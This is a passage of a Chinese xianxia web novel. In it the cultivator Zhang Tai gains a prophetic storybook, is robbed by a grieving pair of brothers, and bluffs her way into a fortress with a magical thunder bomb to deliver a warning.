“我怎么知道的你不用管,总之为了你道侣的性命着想,你最好还是让你道侣把我说的情况上报。
为了增加说服力,你道侣可以直接找上她能够联系到的最高上峰,说知晓掌门亲弟弟的消息,进而见到带领他们此次行动的掌门......”
“停!”
传讯符里突然出声打断,“哪怕你的消息是真的,我也不会让我道侣冒这个险去见掌门的,我宁肯让我道侣背个叛逃的名头,现在就离开。”
“好了,谢谢你传递过来的消息,联系我就切断了,现在我要将你前边的话带给我道侣了。”
传讯符黯淡坠落到了地面。
张苔在模糊的视线中看到围过来的队友,正当她以为这群人会诘问一些什么而思索着回复的时候,李丛玥递了瓶益气丹过来,一脸复杂地问道,“苔姐,你还好吧?”
迎着她疑惑的眼神,一位队友捏了个水镜。
水镜中的她,脸色惨白如纸,双眼因剧痛而微微凸起,两道蜿蜒的血痕正从鼻孔和耳中缓缓淌下,在下颌处汇成刺目的红。更骇人的是,她眼神涣散,瞳孔深处似乎有无数破碎的画面在飞速闪灭。
施展了个清洁术整理自己后,她勉强笑了笑,“没事,这是禁术的反噬。”
又对李丛玥道,“还请莫怪,为了获得更多信息,所以在你和你的好友对话的时候,我就用了这一禁术。”
这个解释合情合理,运气好一点的修士碰到机缘修习一些偏门术法的现象并不罕见,她的队友也迅速接受了。
其实她的状态还是不怎么样,她不想太在他人面前暴露自己的狼狈。
于是拱手道,“现在整个中州算是进入了应战状态,队长的朋友也建议不要回宗门,我想回老家看看亲人状况,便先走了。”
话落,就迅速运转身法,往荒郊神识探查到比较空旷的一个方向而去。
51. 话本
脚踝处的力气先散了。不是抽筋,也不是灵力断了,而是控制“行走”这个念头的联系,毫无征兆地断了一瞬。张苔还在“想”着提气纵跃,身体却已背叛了意念,软绵绵地往下沉。
腰身徒劳地一拧,试图找回平衡。这仓促的发力反而加剧了失控,整个人由轻灵的飘掠,骤然变成笨重的倾斜。
风呼啸着灌进衣袖,“砰”的一声闷响,肩膀传来钝痛,她这是摔地上了?
念及跟那先前的那些队友也拉开了一定距离,张苔也就不挣扎了,翻了个身,任凭自己在地上躺着。
脑海里无数的“可能”和“事实”纠缠成一片深不见底的漩涡。
她现在整个人很混乱。
其实她要感谢李丛玥那位好友的打断,因为当时她说着说着也越说越心惊。
只是一次用力的回想,怎么会出来金虹门掌门的密辛?
这密辛明明跟随梦境女主视角的经历没有出现过。不对,怎么没有出现过?后来梦境女主不是听说...
不对,梦境女主听说的这一段是凭空出现的。
……
打住!不能再想了!
头颅深处仿佛有无数钢针在搅动、穿刺。每一次心跳都像重锤敲在太阳穴上,将尖锐的疼痛砸向更深处。
她怎么会这样?这究竟是怎么一回事?
疼痛越发加剧,抱着脑袋的手失去知觉,耳边自己粗重的喘息声也渐渐小了下去,视觉被剥夺,只剩下颅内尖锐的嗡鸣和血管即将爆裂的胀痛。
一种威胁感从心底而生,放任下去,她能够明显感知到,自己会死。
在剧痛中,她勉力思考着,一切产生的缘由都是那个梦境,那解决的办法应该还是那个梦境。
梦境中最特殊的是什么?
下一刻她的脑海想起那册话本,正是那册话本,让她觉得梦境天马行空到一开始压根没把梦境往预知梦想。
就在她意念集中在话本之时——
识海深处,一点金芒骤然炸开。
不是缓缓浮现,而是像被某种不可抗拒的法则硬生生凿进了她的意识。
金光迸射的刹那,疼痛奇迹般如退潮迅速散去,那册朴实无华的话本,此刻悬浮在她识海的中央。
神识丝游曳到话本附近,张苔哗啦啦一页页翻过,通过熟悉的内容确认了这就是自己在梦中翻看的那一话本。
翻到之前根据自己梦境里强行转换视角到自己那边经历死亡所得到的信息,猜测自己死亡的那场战役时,这一次,话本那一行后边还贴心加了个批注(话本持有者曾阵亡于此役)。
差点没把张苔给气得抽离识海。
一页页翻着,她突然察觉到有一页存在异动,迅速翻到那一页,发现是梦境女主在东南域遭遇排挤而进行反讽那一段,回忆里除了先前的那些内容,一个个金光字冒出,还现场加上了先前她准备跟人吐露金虹门掌门的密辛。
张苔无语得不知道说这话本什么好了。
除了这一处,神识覆盖整个话本,还发现,尾页居然多了些内容。
在那个梦中,曾经这里是没有字的,现在这里却有三句话:
第一句:此书会进行更新。
第二句:无论现实有多和此书记载的内容重合,都切记此书是话本,不可太过依赖话本。
第三句:现实和此书重合度太高让此书似预言之书,但此书确实不是预言之书,哪怕真的预言,也有打破的时候,如若你过度在意书中某些内容,你可以自行去论证去改变,期待话本持有者的表现!
看完最后一句话的张苔面无表情地把书合上。
谢谢,没有被激励到,甚至很绝望。
看来今后修仙界的大致走向就是按照话本来了,可是魔物大军来势汹汹,连化神大能在无限数量魔使魔卫的包围吞元下,都存在被吸得渣都不剩的可能,她一个小小金丹能怎么办?
一言以蔽之,好消息,她不知道走了什么运,得到了一个可以提前知晓未来的途径;坏消息,未来很惨淡,像她这种普通修士死亡率飙升,哪怕提前预知了未来也没用。
唯一心里有所慰藉的是,虽然作用不大,但好歹她能预知,这是不是证明她终究还是不同的?能在这末世大势、绝大多数普通修士注定死亡的命运中有一线生机?
从识海中出来,张苔望着茫茫苍天大地,一时不知下一步究竟该怎么行动。
惫懒地翻了个身,继续在地上躺着,同时放任思绪乱飞。
根据话本内容,这一次中州的全面应战将持续好几年,魔物大军才往后撤回西南域,之后又是停战不到十年,再度大举进攻,这一次中州没能在边境拦下,魔物大军势如破竹,中州地域一寸寸接连失守。
自己若是在外边游荡,起码得游荡个几年,回宗门应召上前线战场她也是真的不想。
若是在战场上死了,那真真是比话本中的自己还要短命了。
毕竟拿梦中自己死亡的节点去对应话本,她应该是死在魔物侵入中州后的仙城保卫战时期,也很奇怪,那个仙城不是玄天仙城,自己显然不是玄天宗弟子。
反正,而今她是不怎么想上前线的,战场上面对魔物可不是魔窟外围,只要面对零零散散的一些魔物,也不是抗魔秘境,保护着每位修士最多只能被一只魔物附身并吞元。
防御阵一破,密密麻麻潮水般的魔物将你包围,你最多能反抗着将靠近的魔物震开一时,人力有时尽,一朝灵力接续不上或者心神疲惫,十数只或低等或高等的魔物迅速附身,能够将你吸干得连渣都不剩。
连魔化成魔物的机会都没有。
宗门回肯定是要回,毕竟她母亲还是在宗门,但不是现在,等到差不多快战场尾声的时候,她再回宗门上战场走个过场。
有过上战场的经历,宗门就不会追究你什么,虽然回去的时机晚了点。
万一宗门真的问起来,就编个什么经历,因为仙城的传送阵关了,只能临时找阵师传送,但是阵师水平不高,不仅没给她传送到宗门,还给她传送到别的更远的地方去了。
她倒是想快点赶回宗门,但中州到处是魔窟,她弯弯绕绕紧赶慢赶最终还是那个时间点才到,到的时候她也不知道魔物意图撤退。
这种情况实在不要太合理。
虽然概率很小,但确实存在啊,何况这兵荒马乱的谁还真能到这个时点来求证?
等几年后她就是出去跟人瞎吹,此刻有个不高明的阵师恰好传送到她眼前了,也没谁能反驳。
正这么想着,一阵不稳定的波动断断续续从不远处传来,一团白光突兀出现并且笼罩范围越来越大
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这是有人要传送过来的迹象。
人心难测,身处荒野,毫无倚仗。
张苔迅速翻身而起,朝一块有着明显风化痕迹的巨石后撤去,收敛气息,同时在心底骂骂咧咧,她就随便想想,这种事怎么还真发生在自己身上了?
白光散去,两道身影显现,还伴随着说话声。
“没事的师兄,多画几次传送阵后边就会越来越准的,而且无论传送到哪,老弟我实力不弱都能解决,灵石我们能省一些是一些。”
而这边张苔看清被喊师兄的那位,内心想扶额,行动上更加小心掩藏好自己。
无他,那位正是被她以五百株七阶次品灵植的吐血价换走时间类法宝的赵庭燎,尽管现在对方带着一张遮掩了上半张脸的面具,但到底比邻而居那么久,她还是一眼认出来了。
赵庭燎正要回自家师弟话,忽而感知到什么,目光倏地锐利如鹰隼,直直射向张苔藏身的巨石。
“谁?出来。”声音不高,却不容置疑的冰冷。
张苔装作没听到,说不定赵庭燎就是随便诈一诈呢?
但运转着的隐匿术是半点都不敢停,且身法孤鸿掠影的起势一直蓄积着,一旦被察觉就脚底抹油赶紧溜走。
她的呼吸与心跳被压至几近于无,整个人仿佛真的与粗糙的石面融为一体。
对面却并没有轻轻揭过的意思。
“师兄既然怀疑,何必多问,直接让我用术法试探一番便知。”
听闻此言,张苔瞬觉不妙,然而她的任何举止都在话音刚起时被压制,蓄势待发的“孤鸿掠影”根本毫无施展的余地。
她就像一只被无形巨手随意拂开的蚊蚋,连同藏身的那块巨石一起,被一股无可抗拒的沛然巨力狠狠“震”了出去!
“咔嚓……轰隆!”
巨石在半空中便崩裂成数块,张苔只觉得胸口如遭重锤,眼前发黑,喉头腥甜上涌,整个人不受控制地倒飞,废了老大劲才重回地面稳住身形。
“原来是张道友,经年未见,不知我那时间类法宝是否好用?”
几年过去,赵庭燎还是那副身形单薄清癯的病弱样子,宽大的衣袖随荒野的微风轻轻拂动,更添几分不胜衣之态,那五百株治愈类七阶灵植就跟扔海里听个响一样看起来对他没有丝毫作用。
“原来这就是师兄你口中说的坑走你凝时碎片的那位,虽然咱们不杀人族同类,不过让她吃点苦头倒是可以的。”
赵庭燎身侧的那位看着一幅清俊灵秀、赤诚未泯的少年郎模样,吐出来的话却格外残忍。
张苔倒是想反驳反抗,偏偏连话都说不了。
真是万万没想到,有一天她居然能够成为化神大能出手对付之人。
当全身的灵力被禁锢,天阶的《扛势淬身经》失效时,她就知道自己是撞上怎样的一个硬茬子了。
谁想到这个化神大能居然一点大能的风度和风范都没有,还要折磨她,她简直要哭死。
“别多费波折,将储物类法器搜刮之后,咱们就走。”
张苔现在跟一条粘板上的鱼没有任何区别,她麻木地感知着储物手链被扯走,其上的神识印记被抹去带来识海的刺痛。
“师兄,你记得你好像说过此女身上还揣着一样神器?怎么储物法器里没找到?”
52. 言威
赵庭燎布置阵法的动作一顿。
其师弟直接将储物法器递了过去,“哥,我真没诓你,是不是哥你记错人了,这样一个存在怎么看也不能让师兄你吃瘪啊,尽管是在你元气大伤的情况下,可你曾……”
“停。”
赵庭燎截住还要喋喋不休的人,“赵旭升你看凝时碎片在不在,不在的话,再仔细往她身上搜检几遍,看还有别的地方遗漏没有。”
“其余的你看着办,我们也不多耽搁,阵法成型了就走。”
赵旭升除了件玄天宗制式的道袍留给张苔,其余全部搜刮走了。
之后就解了对张苔的禁锢。
见张苔杵在原地半天不动,又喝骂道:“还不滚?还是想让小爷我给你松松筋骨?”
张苔本来整个人是一种心灰意冷、破罐破摔的随意态度。
但提到神器,她便想起自己将神器赠给了林白圭,想到林白圭又念及对方与玄天宗明刑峰的陶首座貌似也是师兄妹关系?又都是化神大能。
且赵旭升这厮先前嘴里不是还有一句不杀人族同类,其理念与林陶二人行事作风有些类似,所以,有没有一种可能,这两边是彼此认识的?
这种念头出现,就一发不可收拾,心底更是莫名萌生出一定要进行试探的决心,好像这次错过,往后就很难再碰到类似的机会了。
这种疯狂连她自己都吓了一跳,好在理智分析下来,一句话的事,她现在除了一条命也没什么了,这两人也没有要杀她之意,否则早杀了。
在赵旭升对她嚷完之后,她正色道,“我只是想澄清一下,你嘴里的‘这样一个存在’确实拥有过神器,只不过后来将神器出售给林白圭了。”
那个名字说出的瞬间,张苔一直散开的神识捕捉到赵庭燎布阵动作有一瞬的迟滞。
哪怕这能够理解成巧合,那么性格比较浮躁跳脱的赵旭升,没有第一时间不耐烦地继续对自己再度驱赶,便论证了她的设想。
她再接再厉道,“想不到啊,上任战神的弟子,而今却跟个无赖劫匪一样。”
赵旭升额头青筋凸起,手指微动似要发作。
张苔后背一片冰凉,识海也发出强烈的预警。
好在赵庭燎最终还是站出将人拉到身后,“张道友,你不用试探了,我们和上任战神明面上就是没有任何关系,另外劝你做人要学会收敛,当人情绪上来时,可不会顾及遵守什么行为准则。”
听着末尾那句赤裸裸的威胁,张苔心头“嘭”地爆发出一窜邪火。
这人脸皮简直可以用到前线去阻拦魔物大军了,明明是他先抢自己东西的,还不准她反抗了?明明有着相应的身份,她就不信百姓这么多年的爱戴拥护没有恩泽到他们,做出此等行径,还不准说,说了便要杀人?
自出生起,这是张苔第二次对战神这一词的印象极速下跌,第一次是确认现实里的大事件走向基本上是根据话本内容吻合,这种往日宗门街头巷尾歌颂的存在,并没有那么神,真到了关键时刻,人唯有自救。
第二次便是现在。
“哦,那你来啊,让你师弟直接砍了我,坐实杀人夺宝!”
“真是好笑啊,战神的弟子,无论何种缘由,哪怕是被迫,其弟子对凡是路上碰见看上去有些身家的修士便进行劫掠,到了这种地步,还有什么好说?!”
一天历经几度生死,世界观崩塌,张苔很难再稳住自己情绪,甚至于有些口不择言。
事后回忆起这里的时候,张苔也有过懊悔,自己当初是不是不应该这么咄咄逼人。
“你们抢完东西拍拍屁股走人,独剩我这点修为,符箓法器丹药等修炼资源什么都没有的情况下,在大量人力物力投在边境与魔物抗衡,开始渐渐往混乱方向发展的中州,未来会遭遇什么我又怎么有底气去应对?”
“是,可能情况没那么极端,不一定就落在我身上,但落在我身上了,那就一条命!你们这么做,良心不会难安吗?”
张苔梗着脖子,双眼直瞪看向对面二人。
场面却陷入了死一样的寂静,只有荒野的风卷着沙砾,发出细碎的呜咽。
良久,赵庭燎才缓缓道,“张小友,你说得对。”
“劫掠同道,无论缘由,终是恶行。”
他并未转头,只是微微侧过脸,用余光示意身后的赵旭升,语气是一种不容置喙的平静。
“旭升,将储物法器包括里边的东西原原本本还给人家。”
赵旭升闻言,手中机械地拿出那条储物手链扔给张苔,眼睛却死死盯着自家师兄,半点神情状况都不放过。
“哥,这点东西不打紧,你也不要受她影响,咱们是去东南域的关隘口打劫那些世家,那些蛀虫坏我修仙界这么多年的根基,危难关头却不挺身而出,他们该死!”
赵庭燎终于慢慢转过头,目光温和:“你也知,不乏含仁怀义的豪杰出手,将劫掠所得,尽数供给于前线,我们属实不该去分上这一杯羹。”
赵旭升不放弃:“先前关于这个,我不是反驳了,世家那么多,抢不完,多我们一个不多吗?”
他来回走了两步,猛地一手握拳砸向另一手掌心。
“你不乐意,好!我们去荒废沦陷的魔窟深处,我的身手师兄知晓,从那里搜检镇上一些小家族,他们忙于跑路,肯定有不少来不及带走的修炼资源!”
“旭升。”赵庭燎呼唤的这声轻得像叹息。
“魔窟庇护点里,或许还有修士在苟延残喘……他们万一,也正需要这些资源活命。况且,魔物被赶走,仙城仙镇的重建,同样需要一大批物力。”
“你还是没明白,”他每一个字都说得很慢,却很清晰,“我的意思是,无论出自哪里,资源被我取用,价值不大,无非吊着我一口气罢了,而我这幅残躯还能为修仙界再做些什么呢?”
他微微勾起嘴角,那是一个极淡、极苦的笑容。
“曾经...带着那承载了无数袍泽性命
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与希望的东西在身上,为了活命,我已做下不少恶行。”
他闭上眼,复又睁开,眼底只剩下清澈的决绝,“能够遇上你,并且不被再度怀疑、驱逐,于我而言,真的已经......”
“哥!”赵旭升陡然拔高的声音打断赵庭燎的陈情,其间带着少年人特有的急切和委屈,“所以你是决定要抛下我了吗?”
“你忘了年幼时我们的相互依偎?忘了十五岁那年,我为你过生辰而去偷炼气修士法器售卖却被发现,带着被打断一条腿归来时你说过一辈子都不会抛下我的!”
赵庭燎抬起手,似要抚摸赵旭升的发顶。
赵旭升猛地一下躲开,冲赵庭燎咆哮:“你若是敢死,哪怕那东西的传承用法灌顶给我,我下一秒便抹脖子,让它永远不见天日!”
带着哭腔的咆哮在荒野上炸开,惊飞了远处几只黑鸦。
世界静得可怕,连风都停了。
赵庭燎没有回答赵旭升的威胁。他只是慢慢地、非常非常慢地,摇了摇头。一个简单的动作,却仿佛用尽了他残存的所有力气。
“旭升,我累了。”
简短的一句话,却像一根尖锐的冰锥,钉进赵旭升的身体里,让他所有的愤怒、威胁、委屈瞬间冻僵。
赵庭燎继续开口,声音沙哑得像粗粝的砂纸相互摩擦,带着磨损后的顿挫感,“再继续以这种狼狈的姿态存活下去,于我而言,是一种更深的折磨。”
“放我解脱,带着我完不成的遗愿,继续走下去,好吗?”
话语在空旷的荒野里显得格外单薄,带着一丝不易察觉的哀求。
赵旭升妥协了。
他低着头往赵庭燎怀中一靠,就像过往很多次那样,用力抱紧。
赵庭燎微笑任其动作,他缓缓地、极其缓慢地,闭上了眼睛。
然后,在张苔的凝视下,她看见——赵庭燎的身躯边缘,开始有极淡、极淡的金色光尘析出,如同被阳光照亮的尘埃,悄无声息地向上飘散,融入浑浊的天空。
最后只留地上一个质朴的储物袋,一个不知什么材质层层包裹的盒状物,以及先前覆盖在赵庭燎上半张脸的那一面具。
赵旭升伸展着空空的双手,终于忍不住,嚎啕大哭。
不知哭了多久,他用袖子抹了眼泪,率先小心翼翼拾起方形盒状包裹,贴着胸前放好,又从储物袋中拿出一枚玉简贴在额头,将其内容收录进识海后烧毁,再将储物袋也收进自己的储物法器,最后捡起那张面具,覆盖在了自己脸上。
赵旭升起身,那张覆在脸上的面具遮挡了一切表情。他自始至终,没有再看张苔一眼,仿佛她与这荒野上的砂石并无区别。
他没有抬手指诀,只是对着空茫的前方,迈出了一步。
身影便如被风吹散的沙画,无声无息地淡去、消失了。
没有告别,没有质问,没有解释。
只有荒野上呜咽的风,一个失魂落魄见证了一切的张苔。
53. 闯关
流光划过铅灰色的云层,张苔御剑飞得歪歪斜斜。她强迫自己盯着前方,关注散开的神识,可视线和思维总是不由自主地涣散。
三天了,自从离开那片只剩下草痕的荒野,她的脑海和内心就没安宁片刻!
从赵庭燎兄弟出现到赵旭升离开,期间的画面不断闪现。
尤其是赵庭燎化为金色光尘无声飘散和赵旭升那张覆上面具后毫无表情的脸,她都快要被自己折磨疯了。
“啊啊啊!真的想掐死口无遮拦的自己,当初显着我这张嘴了。”
想着想着,张苔忍不住拍了自己脸侧一巴掌。
她的手正控着灵力御剑呢!
这么一搅合,飞剑发生偏移,连带着她整个人,像断翅的鸟般斜斜栽向下方山林。
*
张苔靠在潮湿的树干上,捏了个水镜整理自己。
虽然在落地前,法剑还是接住了她,但还是刮蹭过不少树叶枝条,她拍落道袍上的叶片,重新梳了发髻,又施展清洁术。
这次还算幸运。
赵旭升走后当天下午,她沿着官道走,差点被同行的筑基修士偷了储物法器,改往无人区走。
两天前,她到了一处魔窟外围,斩了那么多魔物居然还没发觉,隐约闻到一丝灵药的清香,就浑浑噩噩地跟着味道走,直到一脚踩空,摔了一跤,才看清对面引诱她的是一只低等魔物,张着滴落涎水的嘴等她自投罗网。
这只低等魔物可能是某只通幻术的高阶高等魔物剥离出来的,但尽管如此,清醒状态下她不可以能不察觉,还这么一头往魔窟深处撞。
从这只低等魔物的蛊惑人心程度也能猜出,魔窟之主至少得高她两个大境界,哪怕没有中途遇到此低等魔物,这么往魔窟深处撞,到时候不死也得脱层皮。
还有昨天,差点闯进毒瘴林,撞入遍布凶残高阶灵植凶兽的生活区域。
所有这些,原本都可以用最基础的路线规划和神识警戒避开。
但是她这个状态就走不上规划的路线和关注神识!
她整个人还停留在三天前,停留在对自己的批判、懊悔、自责之中。
各种安慰宽慰自己的借口也找了,但只要一想到,赵庭燎这样一个可能的英雄式人物,因为她的话是导火索而自杀——对方显然早有取死之向,不可能只因为她几句话,所有借口便溃不成军。
除非赵庭燎并非高风亮节、为人族舍生忘死之人,话说,这样一个人,话本里边怎么没记载?有没有一种可能,这个人本身……
她才想到这里,神识就查探到话本有异动了。
潜进识海,这话本各种琐碎内容已经加得满满当当,这个跟女主风牛马不相及的事情还能加哪里?!
然后她看到这话本多出一个序言部分。
大片空白的纸页中上部分多出一段描述:
上任战神第四位弟子,支使在仙城城主府各司、镇落衙门各房、巡检各署各所等任职的属下在库房偷窃大量珍贵资源,与一百余位化神大能共同锻造出一把,哪怕魔物攻陷整个修仙界,人族危在旦夕,也能够保留修仙界人族火种的顶尖神器,为此,包括一百余位化神大能,共有一千三百二十三位义士自愿殒灭祭器。后该神器由战神第四弟子交付于战神第五弟子。
她心绪复杂地支使神识“啪”的一声用力合上话本。
感觉自己更该死了怎么办?早不该想到话本,自己情绪如此了哪还经得起话本折腾。
这样不行,她迟早会在反复内耗和批判中被自己的情绪压垮,她必须得做点什么,来减轻自己的罪恶感。
已知因为自己是导致赵庭燎死亡的导火索而引发的这一切,赵庭燎死亡=为修仙界鞠躬尽瘁死而后已的人死亡=她不能让人复活那就只能在为修仙界鞠躬尽瘁不惜冒性命风险上有所作为。
她很快就想到了中州东南域在关隘□□发内战死掉的一批修士,以及超大型魔窟扩张至断野关,波及东南域一座仙城之事。
事态之大,当初她还想到了一个应对之法,本欲说给李丛玥传讯符对面修士道友,但显然对方出于安全考量,拒绝了。
可以理解,她本人不也没有考虑过自己赶过去尝试阻拦悲剧的发生吗?
按常理来讲,其实这法子性命风险是有,但应该不大。
她不管,再不大也是拿命走过一遭的,反正她就走这趟,这趟走完之后,谁也不能站在正义良知的角度来批判她,包括她自己。
哪怕死了,那就是她倒霉!这种运气她也准定死在内耗或者因为内耗而犯的低级错误上,还不如这么死了畅快!
她扶着树干站起身,灵气涤荡掉脚底脚边尘泥,重新召出飞剑。
光凭脚程可不好赶,还是得找个就近镇的阵盘铺,借由阵法传送。
*
断野关。
其名不虚,当真是一道斩断旷野的巨闸。
高达百丈的玄黑色城墙,以一种蛮横而不讲理的姿态,生生截断了原本一望无际的沃野。
墙身斑驳,刻满不知经历了多少岁月的风蚀痕迹与暗淡的防御符纹,沉默地散发着厚重如山的威压,仿佛一位亘古便踞坐于此的巨人。
断野关的巍峨较之留影法具中的更胜,但气氛已截然不同。
原本高高挂于墙上,象征三个位于东南域的大陆八大顶尖修仙宗门之一,无相山庄的靛青色旌旗与流云纹饰,已被尽数撤下,取而代之的是属于金虹门标志的烈焰大旗。
关隘前,早已排起了好几条长龙。各色遁光从天边落下,化作形形色色的修士,更有风尘仆仆光靠两条腿赶了七八日的凡人。
张苔收敛了身法孤鸿掠影带来的那份轻盈感,随便选了一条队伍,细致观察感受着。
队伍末尾能够清晰看到遥遥正前方并排开着三道巨大的门洞,却只有中间一道开启。门洞前,站着两队修士,多是元婴修为。
两队各有两位身着玄金法袍、气息凝练如山的出窍守卫,他们的目光并未直接落在入关队伍上,但自己感知到的,笼罩于整个缓慢往前入关队伍的无形的神识威压,应该就是他们散发出来的。
张苔愁啊。
她倒是想直接随便找个守卫说情况啥的,但人家也不会信,更别说带她见长官,层层往上,直到见到此次行动最高领队,所谓的金虹门掌门。
那则密辛用于打动金虹门掌门勉强还行,提前在这些无关人等面前说,就是找死。
偏偏还时间紧迫,她也是才发现这点,本来就是想翻翻话本找到相关内容好好回忆一下,结果女主经历中就那么一点内容,她用神识丝用力地在上边敲了敲表达自己的生气。
结果没想到,还真的有几行信息在页面上立起来,都是关于中州和东南域几个关隘口之争的详细经过,以及后续大型魔窟扩张甚至经过断野关祸及几个镇子乃至整个仙城,东南域不得不加派兵力进行清剿。
连具体时间都有,将时间于现实一比照,不到两天开战,她整个人马上紧迫起来,没有闲心与话本磨缠,紧赶慢赶抵达断野关,可还是花了一天多的时间。
不行,没有时间给她拖延了,得赶紧想个法子见到金虹门掌门。
用钱开道?显然行不通。这些出窍守卫神色肃穆,眼神锐利如鹰,扫过人群时带着审视,绝非贪图小利之辈。
正想了一个又一个操作,又连番否决的时候,一道传讯符飞来了。
她随手拿过来一看,居然是郑尔雅。
“姐妹我在营地外边看到我被拦截遗落的传讯符了,当时在杀魔祭我的刀道呢,姐妹你想起没?再想不起,先机的便宜都剩不了多少了!”
张苔现在也知道这人指代的是什么,但这人初次见面就问,自己记不记得她,方向完全偏了,截止目前才对上。
眼下张苔有急事,十万火急,没半点心思去深究一些宏大问题。
她从队伍里退出来,找了个角落,将自己目前这边的情况和难题匆匆用灵力
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写下,然后再度传讯。
郑尔雅这人疯癫是疯癫了点,但她那脑子,说不准真能给出个合适的破题之法。
这次郑尔雅的传讯符回得很快,同样过来的还有一条尺素金鲤。
“好的,下次见面详聊关于那些预知的信息。你这事,我给你送了颗紫霄神雷子,放在特制封雷匣里,这玩意儿都是咱们突击组绕到魔物大军后边扔的,爆炸范围大,并严重破坏地脉、灵田,还一颗奇贵,需要珍稀材料雷击木、云母精金啥的和雷修大师耗时炼制。
断野关那边的修士也是从前线抽的,应该也听闻过,你就抱着这匣子找你认为在场最厉害的守卫前,问他认不认识,说你要见掌门,不给你见,你就开匣把这里炸了。”
再往下便是封雷匣如何使用的信息。
张苔伸手接过尺素金鲤吐出的那个看着平平无奇实则危险无比的匣子。
不得不承认郑尔雅给了个好法子,就是有些费脸面和胆量。
看着眼前森严的关隘,长长的人龙,还有脑海中话本预示的、即将发生的惨剧……她没有时间,也没有更好的选择了。
心一横,将封雷匣紧紧抱在怀中,触手冰凉,却能感觉到匣内那股毁灭性的力量在隐隐躁动。
她咬了咬牙,运转灵力,身法“孤鸿掠影”全力施展,化作一道几乎看不清的虚影,绕过排队的人群,在守卫们惊怒的目光中,径直冲向门洞。
“止步!擅闯者死!”厉喝声中,强大的威压和数道气机瞬间将她锁定。
尽管扛势淬身经渡掉了大半威压,但些微的紧张还是张苔脸色发白。
未免直接被出窍境界守卫用绝技就地格杀,张苔死死站定,将怀中的封雷匣微微举起,声音洪亮且清晰道:“晚辈并非闯关!晚辈怀中此物,名为‘紫霄神雷子’!”
一字一顿报出名字后,张苔目光紧紧盯住那四名出窍守卫,见其中有人面色瞬变,显然听闻过此物威名,心下稍松。
“此物来自西南域前线‘突击组’!”张苔趁热打铁,语速加快,“晚辈受人所托,有十万火急、关乎断野关存亡之军情,必须当面呈报金虹门掌门!若不得见——”
她眼神一厉,手指轻轻按在封雷匣的机关搭扣上,“此匣一开,地脉崩毁,此关隘前,皆成焦土!”
修士们皆耳聪目明,张苔的动静他们早就发觉,只是一开始事不关己。
而今一听且守卫的神色有异也论证了这里可能要崩毁,他们要陪葬,前排的人下意识想后退,却撞上后边不知情的人,推搡和惊呼声顿时响起。
“啊!这里要炸了?!”
“跑啊!你们愣着做什么?要死自己死别挡道啊!”
“什么疯子?快制住她啊!”
一下子,人群彻底乱了!
守卫首领脸色铁青,他不仅要对付张苔,还必须立刻控制住即将失控的人群!
“肃静!!”
出窍首领蕴含灵力的一声暴喝,外加有不少其他守卫开始行动,暂时压住了骚动,但人群看向张苔的眼神充满了惊怒和深深的忌惮,不断远眺尝试着离开。
出窍首领的神识早就如针般刺向封雷匣,仔细感应过其中那股令人心悸的、纯粹的毁灭雷霆之力。
这波动做不了假。
他死死盯着张苔:“你可知,威胁关隘,是何等罪名?”
“知道。”张苔迎着他的目光,眼中是豁出一切的决绝,“所以,请前辈速速通传!晚辈所求,仅仅是面见掌门,陈述情报!情报若虚,或有不轨,晚辈甘愿当场受死,绝无怨言!”
出窍首领与同伴再次交换眼神。眼前的女修不像死士,更像一个被逼到墙角、走投无路的信使。她抱着的是真东西,她提出的要求见掌门也明确而“简单”。
关键在于,这个风险,他们承担不起。
“看好她!驱散人群,隔离此地!”他急促下令,然后自己亲自化作流光,向关隘内疾驰而去,显然是去紧急通禀。
54. 献策
不多时,张苔被引着通过城墙,来到关内,进入城墙后边最大的一处营帐。
整个过程,她的手一直按在封雷匣的搭扣上没有动。
帐中有位身着暗金火焰纹法袍、气息如熔炉般灼热逼人的中年修士,坐在堆满玉简书册的桌后,低头看着什么,他并未刻意散发威压,但化神期的威赫缭绕周身。
见她来,并未抬头,只是淡淡道,“何事要禀?”
张苔:“你就是金虹门掌门?”
化神大能抬头,目光中带着几分不悦扫过她,在泄露的几丝毁灭气息的封雷匣上停留一瞬。
“本座乃金虹门烈火殿副殿主,金火真人,也是此刻把守断野关这处关隘的军队统领。”
他开口,声音低沉,带着久居上位的威严,却并无方才出窍首领的凌厉,反而有种审视的平静,“掌门正在巡防要地,无暇分身。你有何情报,可对本座直言。若确系紧要,本座自有决断,亦可直通掌门。”
张苔:“你们可以联系掌门请动他过来。除了掌门也没法调动几个关隘口的修士,消息告诉了你,你既做不了决定,又担不起责任,还可能走漏风声。”
“放肆!”金火真人并未拍案,但那两个字如同两颗烧红的烙铁砸在地上,“区区金丹,安敢妄议本座权责!”
他眼中那抹审视的平静瞬间被凌厉取代,周身灼热的气息猛地一荡,营帐内的温度陡然升高,连堆叠的玉简都仿佛要被无形的热力炙烤得卷曲。
“劝你有什么事就说,没事请自行离开。你以为光凭颗紫霄神雷子便能如何?本座有的是手段让其哑火并让你命丧于此!”
说实话张苔不是很信。
毕竟紫霄神雷子是单雷灵根化神大能耗时炼制的,且魔物大军后方高阶高等魔物也不少,那么多魔君没拦下,金火真人可以?只要她一死,手上压着的搭扣一松,雷就会炸。
不过得给金火真人足够面子,免得对方真动手要杀了她。
“真人考虑清楚,我死了也就死了,之后一切平顺无事发生还好,万一之后真发生点什么大事造成了严重损失威胁,今天你手下那么多人可知晓我冒死来请见掌门过的,你说会不会这些过失全部推到你身上,认为是你没能做好今天的消息接收传达所致?”
“不过是让我与掌门见上一面,真的带来了有用的消息,弥补了你们的信息差,你就是立了功,若是消息没用,一切也尽可望我身上推脱,有利无害的事,为何不做?”
金火真人听完张苔的话,脸上的怒意并未立刻消退,但那灼热的气息却缓缓收敛了。
他没有立刻反驳,而是眯起眼睛,重新、更加仔细地打量起眼前这个看似狼狈却眼神清亮、言辞如刀的女修。
她不怕死。至少,她表现得像是不怕死。
她更不怕“事后”。
这种有恃无恐,要么是彻头彻尾的疯子,要么......就是她真的握着非常有重量的消息。
半晌,他忽然发出一声意义不明的低哼。
“好一张利口。”他身体微微后靠,手指在桌面上有节奏地轻敲,目光却锐利如针,“你既然将利弊算得如此清楚,想必也清楚,若你口中所谓‘大事’子虚乌有,即便本座不杀你,单凭你持械威胁关隘、妖言惑众之罪,也足以让你在炼狱牢中度过余生。”
这是让步的信号——他在重新设定谈判框架:可以帮你传话,但你要承担谎言的全部后果。
张苔心中微松,知道最危险的关口过去了。她立刻顺势而为,态度也稍缓:“晚辈不敢。情报真伪,掌门自有圣断。晚辈只求一个当面陈情的机会。若虚言欺上,甘受任何惩处。”
金火真人盯着她,又沉默了几息,仿佛在权衡最后的风险。终于,他朝帐外吩咐道:“来人。”
一名亲卫应声而入。
